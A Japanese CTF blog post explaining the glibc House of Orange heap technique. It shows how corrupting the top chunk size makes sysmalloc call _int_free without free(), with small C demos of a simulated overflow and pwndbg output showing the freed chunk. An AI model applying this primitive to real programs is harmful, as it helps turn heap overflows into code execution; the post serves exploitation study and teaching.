CTFするぞ

CTF以外のことも書くよ

house of orangeによりmallocから_int_freeを呼ぶ

はじめに

名前だけ知ってたのですが内容は全然知らなかったのでまとめます。 ヒープ問を解くときは通常freeによりチャンクをtcacheやbinに繋げるのですが、中にはdelete系の機能が用意されていなかったりfreeの回数に制限があったりという問題があります。 そのような場合に使えるのがHouse of Orangeというテクニックで、freeがなくてtop chunkのサイズを改竄できるときに便利です。

House of Orangeは本来top chunkのサイズ改竄により_int_freeを呼び出し、その際できたmain arenaへのポインタを使ってlibc leakし、最後に偽の_IO_FILEを使ってシェルを取る、という流れの攻撃です。 正直一番やりたいのはfreeする部分なので、今回は_int_freeが呼び出されるまでの原理について説明します。

_int_mallocからsysmallocを呼ぶ

mallocの際、tcacheやfastbinに適切なサイズのチャンクがあればそれを利用するのですが、この時_int_malloc関数の中では次のような順番で処理しています。

  1. tcacheを参照
  2. fastbinを参照
  3. unsorted binを参照
  4. large binを参照
  5. topを参照
  6. sysmallocを使う

topチャンクの利用にも失敗した場合、sysmallocという関数が呼ばれてヒープ領域の確保や拡張が行われます。 ソースコードでは次のように_int_mallocの最後で呼ばれています。

      /*
         Otherwise, relay to handle system-dependent cases
       */
      else
        {
          void *p = sysmalloc (nb, av);
          if (p != NULL)
            alloc_perturb (p, bytes);
          return p;
        }

sysmallocにはセキュリティ機構があり、次の条件をクリアしないといけません。

  1. MINSIZE(0x10)より大きい
  2. prev_inuseフラグがセットされている
  3. old_end (=old_top + old_size) がページサイズにアラインされている
  4. MINSIZE(0x10) + nbより小さい
assert ((old_top == initial_top (av) && old_size == 0) ||
        ((unsigned long) (old_size) >= MINSIZE &&
         prev_inuse (old_top) &&
        ((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

sysmallocでは古いtopチャンクに対して_int_freeを呼んでいます。 やっていることは、topチャンクのサイズより大きいサイズでmallocされるとmmapしないといけないけど、残ったtopチャンクがもったいないからfreeして後から使えるようにしよう、ということです。 _int_freeが呼ばれるので、topチャンクのサイズがfastbinサイズならfastbinに、そうでなければunsorted binに入ります。(tcacheが有効ならtcacheに。)

sysmallocから_int_freeを呼ぶ

次のように_int_freeが呼ばれているのですが、このためには先程のセキュリティチェックを通過する必要があります。

_int_free (av, old_top, 1);

特に重要なのは3つ目の条件です。

((unsigned long) old_end & (pagesize - 1)) == 0))

old_endはtopチャンクのアドレス + topチャンクのサイズです。 したがって、この2つを足した値がページサイズにalignされている必要があります。 また、セキュリティチェック以外にも避ける必要がある場所があります。 サイズがあるしきい値を超えるとtopは拡張されずmmapが使われてしまいます。

  /*
     If have mmap, and the request size meets the mmap threshold, and
     the system supports mmap, and there are few enough currently
     allocated mmapped regions, try to directly map this request
     rather than expanding top.
   */
  if (av == NULL
      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))

参考文献によるとlibc-2.23以下であればabortを利用して_IO_FILE構造体をいじってlibc leakしたりシェルを取ったりできるようです。

検証

正直いまいちイメージが掴めないと思うので、論より証拠ということでやってみましょう。 まずは失敗例から。topのサイズを適当に変えるとtop + top_sizeがalignされてないので怒られます。

#include <stdio.h>
#include <stdlib.h>

int main() {
  setbuf(stdout, NULL);

  char *ptr = malloc(0x38);
  // ex) abuse heap overflow of ptr
  *(unsigned long*)(ptr + 0x38) = 0x71;
  malloc(0x1000);
}

ダメぴよ。

$ ./a.out 
a.out: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.
中止 (コアダンプ)

gdbで見てみると、top size改竄前は次のようになっています。

pwndbg> x/16xg 0x555555756250
0x555555756250: 0x0000000000000000      0x0000000000000041
0x555555756260: 0x0000000000000000      0x0000000000000000
0x555555756270: 0x0000000000000000      0x0000000000000000
0x555555756280: 0x0000000000000000      0x0000000000000000
0x555555756290: 0x0000000000000000      0x0000000000020d71
0x5555557562a0: 0x0000000000000000      0x0000000000000000
0x5555557562b0: 0x0000000000000000      0x0000000000000000
0x5555557562c0: 0x0000000000000000      0x0000000000000000

ということで、例えばサイズを0xd71にすれば問題無いはずです。

#include <stdio.h>
#include <stdlib.h>

int main() {
  setbuf(stdout, NULL);

  char *ptr = malloc(0x38);
  // ex) abuse heap overflow of ptr
  *(unsigned long*)(ptr + 0x38) = 0xd71;
  malloc(0x1000);
}

これでabortしなくなりました。2回目のmalloc後のunsorted binを見てみましょう。

pwndbg> x/16xg 0x555555756250
0x555555756250: 0x0000000000000000      0x0000000000000041
0x555555756260: 0x0000000000000000      0x0000000000000000
0x555555756270: 0x0000000000000000      0x0000000000000000
0x555555756280: 0x0000000000000000      0x0000000000000000
0x555555756290: 0x0000000000000000      0x0000000000000d51
0x5555557562a0: 0x00007ffff7dcfca0      0x00007ffff7dcfca0
0x5555557562b0: 0x0000000000000000      0x0000000000000000
0x5555557562c0: 0x0000000000000000      0x0000000000000000
pwndbg> unsortedbin 
unsortedbin
all: 0x555555756290 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x555555756290

unsorted binに繋がっています。実質サイズ0xd50のチャンクをfreeしたのと同じことが起きました。 したがって、topのサイズの下位24ビットをtcacheサイズにした上で同じことをすれば、unsorted binではなくtcacheに繋がります。fastbinも同様です。

これ系は基本的にheap overflowが多いので、tcacheに繋いだついでにfdを書き換えれば2度おいしいです。 本当はこのあと_IO_2_1_stdoutとかを書き換えてlibc leakするのですが、それは別の記事で説明したので割愛します。

参考文献

[1] https://1ce0ear.github.io/2017/11/26/study-house-of-orange/

[2] http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html